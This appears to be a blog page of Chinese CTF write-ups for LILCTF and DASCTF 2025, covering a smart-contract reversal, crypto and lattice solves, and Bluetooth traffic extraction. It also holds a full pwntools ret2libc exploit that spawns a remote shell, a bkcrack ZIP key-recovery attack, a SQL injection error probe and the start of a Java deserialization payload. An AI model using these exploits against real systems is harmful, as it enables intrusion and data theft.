func_0049(var2); stop(); } else if (var0 == 0x64d98f6e) { // Dispatch table entry for isSolved() var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff); var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else { revert(memory[0x00:0x00]); } } function func_0049(var arg0) { var var0 = 0x0073; var var1 = arg0; var0 = func_0112(var1); var temp0 = var0; var0 = 0x0083; var1 = temp0; var var2 = memory[0x40:0x60] + 0x20; var0 = func_02EB(var1, var2); var temp1 = memory[0x40:0x60]; var temp2 = var0; memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20; memory[0x40:0x60] = temp2; var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]); var1 = 0x00ab; var var3 = memory[0x40:0x60] + 0x20; var2 = 0x00; var1 = func_0326(var2, var3); var temp3 = memory[0x40:0x60]; var temp4 = var1; memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20; memory[0x40:0x60] = temp4; if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) { storage[0x01] = (storage[0x01] & ~0xff) | 0x01; return; } else { var temp5 = memory[0x40:0x60]; memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5; memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20; memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e; memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90; var temp6 = memory[0x40:0x60]; revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]); } } function func_0112(var arg0) returns (var r0) { var temp0 = memory[0x40:0x60]; memory[0x40:0x60] = temp0 + 0x40; memory[temp0:temp0 + 0x20] = 0x0c; memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1; var var2 = temp0; var var0 = 0x60; var var1 = arg0; var var4 = memory[var1:var1 + 0x20]; var var3 = 0x00; if (var4 <= 0xffffffffffffffff) { var temp1 = memory[0x40:0x60]; var temp2 = var4; var var5 = temp2; var4 = temp1; memory[var4:var4 + 0x20] = var5; memory[0x40:0x60] = var4 + (var5 + 0x1f & ~0x1f) + 0x20; if (!var5) { var3 = var4; var4 = 0x00; if (var4 >= memory[var1:var1 + 0x20]) { label_021B: return var3; } else { label_0191: var5 = var2; var var6 = 0x019e; var var8 = var4; var var7 = memory[var5:var5 + 0x20]; var6 = func_03C2(var7, var8); if (var6 < memory[var5:var5 + 0x20]) { var5 = ((memory[var6 + 0x20 + var5:var6 + 0x20 + var5 + 0x20] >> 0xf8) << 0xf8) >> 0xf8; var6 = var1; var7 = var4; if (var7 < memory[var6:var6 + 0x20]) { var5 = ((((memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) ~ var5) << 0xf8; var6 = var3; var7 = var4; if (var7 < memory[var6:var6 + 0x20]) { memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x01] = byte(var5 & ~((0x01 << 0xf8) - 0x01), 0x00); var5 = var4; var6 = 0x0213; var7 = var5; var6 = func_03FA(var7); var4 = var6; if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; } else { goto label_0191; } } else { var8 = 0x01f2; label_03E4: memory[0x00:0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x32; revert(memory[0x00:0x24]); } } else { var8 = 0x01ce; goto label_03E4; } } else { var7 = 0x01ae; goto label_03E4; } } } else { var temp3 = var5; memory[var4 + 0x20:var4 + 0x20 + temp3] = msg.data[msg.data.length:msg.data.length + temp3]; var3 = var4; var4 = 0x00; if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; } else { goto label_0191; } } } else { var5 = 0x0157; memory[0x00:0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x41; revert(memory[0x00:0x24]); } } function func_023A(var arg0, var arg1) returns (var r0) { var var0 = 0x00; if (arg0 - arg1 i< 0x20) { revert(memory[0x00:0x00]); } var var1 = msg.data[arg1:arg1 + 0x20]; var var2 = 0xffffffffffffffff; if (var1 > var2) { revert(memory[0x00:0x00]); } var temp0 = arg1 + var1; var1 = temp0; if (var1 + 0x1f i>= arg0) { revert(memory[0x00:0x00]); } var var3 = msg.data[var1:var1 + 0x20]; if (var3 <= var2) { var temp1 = memory[0x40:0x60]; var temp2 = ~0x1f; var temp3 = temp1 + ((temp2 & var3 + 0x1f) + 0x3f & temp2); var var4 = temp3; var var5 = temp1; if (!((var4 < var5) | (var4 > var2))) { memory[0x40:0x60] = var4; var temp4 = var3; memory[var5:var5 + 0x20] = temp4; if (var1 + temp4 + 0x20 > arg0) { revert(memory[0x00:0x00]); } var temp5 = var3; var temp6 = var5; memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[var1 + 0x20:var1 + 0x20 + temp5]; memory[temp6 + temp5 + 0x20:temp6 + temp5 + 0x20 + 0x20] = 0x00; return temp6; } else { var var6 = 0x02b2; label_0224: memory[0x00:0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x41; revert(memory[0x00:0x24]); } } else { var4 = 0x028a; goto label_0224; } } function func_02EB(var arg0, var arg1) returns (var r0) { var var0 = 0x00; var var1 = memory[arg0:arg0 + 0x20]; var var2 = 0x00; if (var2 >= var1) { label_030C: if (var2 <= var1) { return var1 + arg1; } var temp0 = var1; var temp1 = arg1; memory[temp1 + temp0:temp1 + temp0 + 0x20] = 0x00; return temp0 + temp1; } else { label_02FB: var temp2 = var2; memory[temp2 + arg1:temp2 + arg1 + 0x20] = memory[arg0 + temp2 + 0x20:arg0 + temp2 + 0x20 + 0x20]; var2 = temp2 + 0x20; if (var2 >= var1) { goto label_030C; } else { goto label_02FB; } } } function func_0326(var arg0, var arg1) returns (var r0) { var var0 = 0x00; var var1 = var0; var temp0 = storage[arg0]; var var2 = temp0; var var4 = 0x01; var var3 = var2 >> var4; var var5 = var2 & var4; if (var5) { var var6 = 0x20; if (var5 != (var3 < var6)) { label_0362: var var7 = var5; if (!var7) { var temp1 = arg1; memory[temp1:temp1 + 0x20] = var2 & ~0xff; var1 = temp1 + var3; label_03B4: return var1; } else if (var7 == 0x01) { memory[0x00:0x20] = arg0; var var8 = keccak256(memory[0x00:0x20]); var var9 = 0x00; if (var9 >= var3) { label_03AC: var1 = arg1 + var3; goto label_03B4; } else { label_039C: var temp2 = var8; var temp3 = var9; memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2]; var8 = var4 + temp2; var9 = var6 + temp3; if (var9 >= var3) { goto label_03AC; } else { goto label_039C; } } } else { goto label_03B4; } } else { label_034F: var temp4 = var1; memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x22; revert(memory[temp4:temp4 + 0x24]); } } else { var temp5 = var3 & 0x7f; var3 = temp5; var6 = 0x20; if (var5 != (var3 < var6)) { goto label_0362; } else { goto label_034F; } } } function func_03C2(var arg0, var arg1) returns (var r0) { var var0 = 0x00; if (arg0) { return arg1 % arg0; } memory[0x00:0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x12; revert(memory[0x00:0x24]); } function func_03FA(var arg0) returns (var r0) { var var0 = 0x00; if (arg0 != ~0x00) { return arg0 + 0x01; } memory[0x00:0x20] = 0x4e487b71 << 0xe0; memory[0x04:0x24] = 0x11; revert(memory[0x00:0x24]); } 先 cast 一下 storage 0 的值, 返回0x5d,二进制为01011101,根据Solidity动态数组的存储规则,这是一个长数组,其长度为 (0x5d - 1) / 2 = 46 字节。数据实际存储的起始位置是 keccak256(0) = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 通过cast访问这个地址可以得到一个32字节的数据 0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000 由于前面知道了长度总共是46个字节, 所以需要继续读取下一个地址的数据 0x010000005e564a6c0107075e0557000000000000000000000000000000000000 拼接之后可以得到完整的密文 0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000010000005e564a6c0107075e0557 然后需要逆向一下这个验证逻辑, func_0112 是加密函数, 他的逻辑就是一个循环异或, key 是 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1, 解出来转成ascii是key_5748235f 然后写脚本把密文和密钥循环异或就能构造出我们的输入 1 2 3 4 5 6 7 8 9 10 secret = "0x5d504d6f07030200040606575d064c390202025d040701535c574c3902030000010000005e564a6c0107075e0557" key = "key_5748235f".encode('ascii') secret_data = bytes.fromhex(secret.replace("0x", "")) required_input_bytes = bytearray() for i in range(len(secret_data)): transformed_byte = secret_data[i] ^ key[i % len(key)] required_input_bytes.append(transformed_byte) required_input_hex = required_input_bytes.hex() print(required_input_hex) # 36353430323436383635333136633566373536653634343537323566373434383333356635333333343033663764 然后需要把算出来的数据构造成call-data发到链上进行交易, 首先前4字节是函数选择器, 通过反编译可以得到需要调用的函数是0x5cc4d812, 加下来32字节是 0000000000000000000000000000000000000000000000000000000000000020, 这个 0x20 指的是数据在这个位置的 32 字节之后开始, 接下来是数据的长度, 前面知道了是 46 个字节,所以是 000…2e, 然后 46 字节就是我们要传的数据,由于ABI数据规范要求 32 字节对齐, 所以后面需要补 18 个 0 最后构造的命令如下 1 $ cast send 0x801C106775A116af3420358922fF10FeaA77119b "0x5cc4d8120000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e36353430323436383635333136633566373536653634343537323566373434383333356635333333343033663764000000000000000000000000000000000000" --private-key <private_key> --rpc-url http://106.15.138.99:8545/ 可以看到返回的status为success, 然后在 nc 回去就拿到flag了: LILCTF{WH#_11ves_IN_a_se@$he1l_undEr_tH3_S3@?} PWN PWN-Checkin 基础 ret2libc 1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF setbuf(stdin, 0); setbuf(_bss_start, 0); setbuf(stderr, 0); puts("Welcome to lilctf!"); puts("What's your name?"); read(0, buf, 0x200u); return 0; } 找到 libc 中 system 和 /bin/sh 的地址, 分别为0x50d70,0x1d8678, 然后通过 puts 泄露 libc 基址, 然后通过 read 溢出执行 system("/bin/sh") 就行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context.arch = 'amd64' context.log_level = 'debug' program_base = 0x400000 system_offset = 0x50d70 binsh_offset = 0x1d8678 puts_offset = 0x80e50 pop_rdi_ret = 0x401176 ret_gadget = 0x40101a puts_plt = 0x401060 puts_got = 0x404018 main_addr = 0x401178 offset = 0x70 + 8 def exploit(): p = remote('challenge.xinshi.fun', 44430) payload1 = b'A' * offset payload1 += p64(pop_rdi_ret) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) p.sendlineafter(b"What's your name?", payload1) p.recvuntil(b"\n") leaked_data = p.recv(8) leaked_puts = u64(leaked_data[:6].ljust(8, b'\x00')) print(f"[+] 泄露的puts地址: {hex(leaked_puts)}") libc_base = leaked_puts - puts_offset print(f"[+] 计算的libc基地址: {hex(libc_base)}") system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset print(f"[+] system地址: {hex(system_addr)}") print(f"[+] /bin/sh地址: {hex(binsh_addr)}") payload2 = b'A' * offset payload2 += p64(ret_gadget) payload2 += p64(pop_rdi_ret) payload2 += p64(binsh_addr) payload2 += p64(system_addr) p.sendlineafter(b"What's your name?", payload2) p.interactive() if __name__ == "__main__": exploit() Crypto ez_math 令A = [[v1_x, v1_y], [v2_x, v2_y]] B = [[v1_x * lambda1, v1_y * lambda1], [v2_x * lambda2, v2_y * lambda2]] 则有 C = A⁻¹ * B 定义对角矩阵 D = [[lambda1, 0], [0, lambda2]] 则有D * A = [[lambda1, 0], [0, lambda2]] * [[v1_x, v1_y], [v2_x, v2_y]] = [[lambda1*v1_x, lambda1*v1_y], [lambda2*v2_x, lambda2*v2_y]] -> B = D * A 推出 C = A⁻¹ * D * A 由相似矩阵的性质得,C 和 D 的特征值 lambda 相同 =====> 计算 C 的特征值 =====> 转换回去 bytes =====> 进行两种可能的拼接 =====> 得到 flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from sage.all import * from Crypto.Util.number import long_to_bytes # 已知数据 p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161 C_list = [[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801], [7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]] # 在有限域 GF(p) 上定义矩阵 C Fp = GF(p) C_matrix = matrix(Fp, C_list) # 计算特征值 eigenvalues = C_matrix.eigenvalues() # 将特征值从有限域元素转换为整数 lambda1_int = int(eigenvalues[0]) lambda2_int = int(eigenvalues[1]) # 将整数转换回字节 part1 = long_to_bytes(lambda1_int) part2 = long_to_bytes(lambda2_int) # 尝试两种拼接顺序 flag_content1 = part1 + part2 flag_content2 = part2 + part1 print(f"特征值1: {lambda1_int} -> 字节: {part1}") print(f"特征值2: {lambda2_int} -> 字节: {part2}") print(f"可能的flag内容 (1): {flag_content1.decode()}") print(f"可能的flag内容 (2): {flag_content2.decode()}") 1 2 3 4 5 (.venv) [root@LUMINE-LAPTOP ez_math]# sage solve.py 特征值1: 461081882199191304136043558055592717274072444511548267131743 -> 字节: b'It_w4s_the_be5t_of_times_' 特征值2: 310431440615324582056084165589022472378402725080813836002613 -> 字节: b'1t_wa5_the_w0rst_of_t1me5' 可能的flag内容 (1): It_w4s_the_be5t_of_times_1t_wa5_the_w0rst_of_t1me5 可能的flag内容 (2): 1t_wa5_the_w0rst_of_t1me5It_w4s_the_be5t_of_times_ 看起来第一个拼接方式是对的,拿去试试,正确 mid_math 由 如果 lambda 是矩阵 M 的一个特征值,那么 lambda**k 就是矩阵 M**k 的一个特征值 这个性质,则有 设 lambda_C 是矩阵 C 的一个特征值,lambda_D 是矩阵 D 对应的一个特征值,那么它们之间必然满足关系:lambda_D = (lambda_C)**key 所以先求特征值,又因为 key 的可能性较少,所以再爆破一下,得到 flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from sage.all import * from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad # 题目给出的已知数据 p = 14668080038311483271 C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]] D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]] msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j" # 设置有限域 P = GF(p) # 建立矩阵对象 C = matrix(P, C_list) D = matrix(P, D_list) # 计算特征值 eigenvalues_C = [e for e in C.eigenvalues() if e != 0] eigenvalues_D = [e for e in D.eigenvalues() if e != 0] print(f"C 的非零特征值: {eigenvalues_C}") print(f"D 的非零特征值: {eigenvalues_D}") # 暴力尝试所有配对来找到正确的 key # 固定一个 base,遍历所有 target base = eigenvalues_C[0] print(f"\n固定 base = {base}") for target in eigenvalues_D: print(f"尝试 target = {target} ...") # 计算可能的 key key_integer = target.log(base) key_int = int(key_integer) # 尝试用这个 key 解密 try: key_bytes_padded = pad(long_to_bytes(key_int), 16) cipher = AES.new(key_bytes_padded, AES.MODE_ECB) decrypted_msg = unpad(cipher.decrypt(msg), 64) # unpad 没有报错,key 对了 print("\n" + "="*40) print("成功解密!") print(f"正确的整数 key 是: {key_integer}") print(f"解密得到的 Flag 是: {decrypted_msg.decode()}") print("="*40) exit() except ValueError: # key 是错的,padding 会不正确 print(" -> 解密失败,此配对错误。") continue 1 2 3 4 5 6 7 8 9 10 11 12 13 [helloctfos@LUMINE-LAPTOP mid_math]$ sage solve.py C 的非零特征值: [13548047239731931439, 10741008122066331899, 2915915082365181132, 2524362820657834710] D 的非零特征值: [14219969811373602463, 7805278355513795080, 7126986745593039829, 6321945571561295171] 固定 base = 13548047239731931439 尝试 target = 14219969811373602463 ... -> 解密失败,此配对错误。 尝试 target = 7805278355513795080 ... ======================================== 成功解密!正确的整数 key 是: 5273966641785501202 解密得到的 Flag 是: LILCTF{Are_y0u_5till_4wake_que5t1on_m4ker!} ======================================== Linear 因 x 有界([1, 114514]),考虑 LLL 格基约简。 先将 A * x = b 变形为齐次线性方程组:D * z = 0,其中 D = [A | -b],z = [x; 1] D 的右核为一个格,对其做格基约简,在约简后的所有基中,找到所有分量能被最后一个分量整除的基(z 的缩放),检查候选 x 是否有界,是否满足 A * x = b 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import socket import ast from sage.all import * host = 'challenge.xinshi.fun' port = #port s = socket.socket() s.connect((host, port)) data = s.recv(100000).decode() lines = data.splitlines() if len(lines) < 2: data += s.recv(100000).decode() lines = data.splitlines() A_line = lines[0].strip() b_line = lines[1].strip() A = ast.literal_eval(A_line) b = ast.literal_eval(b_line) nrows = len(A) ncols = len(A[0]) D = matrix(ZZ, nrows, ncols + 1) for i in range(nrows): for j in range(ncols): D[i, j] = A[i][j] D[i, ncols] = -b[i] AA = matrix(ZZ, A) bb = vector(ZZ, b) kernel = D.right_kernel_matrix(ring=ZZ) L = kernel.LLL() solution_found = False for row in L: k = row[-1] if k == 0: continue if all(x % k == 0 for x in row): cand_x = vector(ZZ, [x // k for x in row[:ncols]]) else: continue if not all(1 <= x <= 114514 for x in cand_x): continue b_cand = vector(ZZ, [sum(A[i][j] * cand_x[j] for j in range(ncols)) for i in range(nrows)]) if b_cand == vector(b): solution_found = True break if solution_found: sol_str = ' '.join(str(num) for num in cand_x) + '\n' s.send(sol_str.encode()) response = s.recv(1024).decode() print(response) s.close() else: print("轧钢") MISC **v我50(R)**MB Yakit 一发就有了 因为content-length长度不正确,导致图片显示不完整,剩下的部分被截断了 提前放出附件 压缩包题, 没给密码, 压缩包内容是个flag.tar, 显然可以明文攻击, 需要知道的是flag.txt压缩之后就是flag.tar, 所以已知的明文是flag.txt,再根据tar包的结构可以知道后面可以用0来填充, 通过构造可以用bkcrack来攻击 flag.txt -> 666c61672e747874 1 2 3 4 5 6 7 8 9 10 11 .\bkcrack\bkcrack-1.7.1-win64\bkcrack.exe -C ahead.zip -c flag.tar -x 0 666c61672e74787400000000000000000000000000000000 bkcrack 1.7.1 - 2024-12-21 [16:06:51] Z reduction using 17 bytes of known plaintext 100.0 % (17 / 17) [16:06:51] Attack on 426837 Z values at index 6 Keys: 945815e7 4e7a2163 e46b8f88 76.4 % (326284 / 426837) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 326284 [16:08:37] Keys 945815e7 4e7a2163 e46b8f88 爆出key之后直接用这个key解密 1 2 3 .\bkcrack\bkcrack-1.7.1-win64\bkcrack.exe -C ahead.zip -c flag.tar -k 945815e7 4e7a2163 e46b8f88 -d decrypted_flag.tar bkcrack 1.7.1 - 2024-12-21 [15:54:13] Writing deciphered data decrypted_flag.tar 然后直接解压的得到flag: LILCTF{Z1pCRyp70_1s_n0t_5ecur3} PNG Master PNG隐写题, 一共三段flag 第一段: PNG文件尾藏了一段base64, 解出来之后是: 让你难过的事情,有一天,你一定会笑着说出来flag1: 4c494c4354467b 第二段: LSB里面藏了一段, 提取出来解码: 在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2: 5930755f3472335f4d 第三段: binwalk分离PNG, 提取出了一个secret.bin和hint.txt,发现hint.txt有零宽字符隐写, 去网站上解一下 按照提示 xor 一下得到第三段flag:flag3: 61733765725f696e5f504e477d 把三段结合以下然后hex转字符串 4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d LILCTF{Y0u_4r3_Mas7er_in_PNG} 是谁没有阅读参赛须知? 一眼丁真

2025/8/18
articleCard.readMore

【Volcania】DASCTF 2025 上半年线上赛 Writeup

Misc [Misc] BlueTrace | @Ron @Luminoria 打开文件发现是蓝牙流量,跑一下 strings 发现有一个 flag.png Package 4267 传了一个 jpg 文件 Package 34714 看起来传输了一个 ZIP 包,里面有上面跑出来的 flag.png obex 是明文协议,但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包,所以会导致在 Wireshark 里面提取出问题 用 tshark 来 dump 一下 1 $ tshark -r BlueTrace.pcapng -Y "obex.opcode == 0x02" -T fields -e obex.header.value.byte_sequence > hex.txt 把提取的 hex 流丢到赛博厨子里面,转成二进制文件 把这个图用 binwalk 来 walk 一下,提取后面的 zip 文件 打开提取后的文件夹,发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」 回到数据包,发现电脑名字有乱码,可能存在非 ASCII 字符,右键复制为 b64,拿去解码 解码一下,得到 PC 的名字为 INFERNITYのPC 解压后得到下图 本来以为是不是黑白表示 0 或 1 的,用 PS 打开发现有灰度,所以不可能是那种玩法,但是发现了一个很有趣的现象,每个像素点的 RGB 值是一致的 所以考虑是不是用 RGB 值编码了什么东西,尝试提取一下,顺带计算一下每个 RGB 值出现了多少次,可能会有新发现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from PIL import Image from pprint import pprint image = Image.open(r"BlueTrace\image.png") pixel_bytes = bytearray() rgb_dict = {} for y in range(image.size[1]): for x in range(image.size[0]): # print(image.getpixel((x, y))) # int 类型不能作为索引,不然爆 TypeError rgb_dict[str(image.getpixel((x, y))[0])] = rgb_dict[str(image.getpixel((x, y))[0])] + 1 if str(image.getpixel((x, y))[0]) in rgb_dict else 1 pixel_bytes.append(image.getpixel((x, y))[0]) pprint(rgb_dict) # 尝试查看每个RGB出现多少次 # {'228': 319, '184': 161, '128': 249, '227': 113, '129': 121, '187': 173, '185': 67, '136': 129, '230': 476, '152': 82, '175': 159, '67': 42, '84': 38, '70': 37, # '239': 152, '188': 235, '159': 86, '10': 130, '140': 191, '229': 858, '141': 78, '179': 55, '32': 196, '97': 53, '112': 13, '116': 52, '117': 11, '114': 42, '101': 86, # '104': 15, '108': 29, '103': 22, '173': 82, '150': 96, '135': 95, '144': 120, '186': 133, '164': 44, '151': 59, '232': 329, '181': 67, '155': 142, '231': 440, '167': 62, # '189': 102, '145': 75, '156': 143, '174': 110, '137': 105, '133': 109, '168': 143, '138': 83, '139': 57, '233': 218, '180': 50, '191': 80, '161': 61, '171': 40, # '158': 58, '154': 197, '132': 114, '148': 73, '162': 64, '143': 171, '130': 111, '166': 55, '163': 39, '134': 149, '142': 83, '157': 45, '165': 102, '183': 87, '226': 4, # '153': 56, '182': 83, '170': 28, '146': 49, '131': 71, '190': 62, '160': 65, '87': 18, '98': 17, '169': 18, '149': 38, '177': 27, '147': 26, '176': 62, '172': 24, # '74': 4, '111': 40, '100': 17, '121': 16, '102': 11, '65': 7, '77': 15, '178': 17, '99': 17, '107': 14, '45': 10, '68': 13, '110': 19, '115': 22, '52': 4, '56': 4, # '105': 30, '120': 7, '83': 24, '81': 5, '76': 4, '88': 3, '69': 10, '82': 8, '118': 9, '80': 21, '119': 5, '47': 3, '58': 1, '123': 1, '48': 8, '54': 9, '55': 2, # '57': 2, '50': 3, '49': 6, '125': 1, '79': 3, '73': 10, '72': 9, '66': 5, '86': 5, '51': 5, '53': 1, '109': 11, '40': 10, '41': 10, '78': 9, '43': 2, '71': 8, '124': 2, # '122': 2, '85': 1, '106': 4} # print(pixels) with open(r"Bluetrace\output.txt", "wb") as f: f.write(pixel_bytes) 从字典中没看出个所以然来,但是打开 output.txt,发现是有文本的 一开始没发现有什么问题,我还打开了 wbStego4,结果突然想到可以搜搜 flag 头 DASCTF,结果就搜索到了 得到 flag 为 DASCTF{0ba687ee-60e0-4697-8f4c-42e9b81d2dc6} [Misc] 一把嗦的解题思路 | @Luminoria | 未出 时间:17:54 流量分析题,Nginx + PHPStudy,网站是一个云盘下载站 文件列表有 5 个文件 uploads/a.jpg uploads/flag.txt secret/img1.png secret/secret.7z secret/th.jpg 有这几种长度的请求 1 2 3 4 5 6 7 8 9 10 11 12 import os size = set() os.system(r'tshark -r 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\222.pcapng -Y "http && http.response.code !== 404" -T "fields" -e "frame.len" > 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt') with open(r"一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt", "r") as f: for line in f: size.add(int(line.strip())) print(sorted(list(size))) # [59, 389, 427, 454, 545, 766, 771, 967, 979, 991, 1049, 1111, 1191, 1197, 1215, 2601, 35550, 43034] Len 59 是文件列表 Len 389 是 302 重定向 http://61.139.2.134/system/index.php Len 427 是 301 重定向 http://61.139.2.134/system Len 454 是假 flag ZmxhZ3tmYWtl4oCU4oCUaGFoYWhhfQ== -> flag{fake——hahaha} Len 545 可能是一个webp文件,有RIFF头,但是损坏 UklGRpBMAgBXRUJQVlA4IIRMAgBQgBKdASoADMAGPp1On0wmJy0sJHMJsLATiWdulqXiv2z/51Kfz9dD/zM54ZdX3qMDVZ+JYaDpv9L73vfhyB3j/gOVB0p+x43/pnqEeW/lafTf+L2CvNaz7/7X0o/Qf6F0/b0j6Tv3izPynalfmH+v+x6/HI/vz/n/Y/fF9DH/71C+i//3o/+4//HmL//fsU/hf/s6anr1/v295 Len 766 是非 ViP 用户提示 Len 771 同上 Len 967 是登录页面 Len 979 也是,但是登录失败 Len 991 是注册成功提示+登录页面 Len 1049 同上 Len 1111 是报错,可以得知数据库用的 sqlite3 链接是http://61.139.2.134/system/index.php <b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'1''" in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n <b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\phpstudy_pro\WWW\system\index.php:111\n Stack trace:\n #0 {main}\n thrown in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n Len 1191 是文件列表,看起来是在 uploads 目录里面 Len 1197 同上 Len 1215 同上 Len 2601 是 PHPStudy 的默认页面 Len 35550 是图片(下面有) Len 43034 是下面提到的 7z 文件 Package 959 发现一张 JPG 图片,Package 12924 发现文件(可能是7z) 应该是了,试了一下7z的魔术头就是7z 得到 dump.jpg 和 secret.vmdk,分别来自上述两个流量 Package 挂在这个盘不出意外的要密码,可能与图片有关,我试试隐写,结果工具说这个 jpg 文件没有被修改,可能 Bitlocker 的密码是这个图片本身?印象中 Bitlocker 没有把图片作为密码的方案,用 ArsenalImageMounter 挂载,还是密码问题 PS能够正确识别这个图,可能这个图没有那种常规的隐写 我投降了 =-= Web [Web] 再短一点点 | @Rusty 使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩 根据过滤的黑名单用二次反序列化进行绕过 1 2 3 4 5 6 7 8 } catch (Exception var9) { var9.printStackTrace(); StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); var9.printStackTrace(pw); String stackTrace = sw.toString(); return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :("; } 根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import 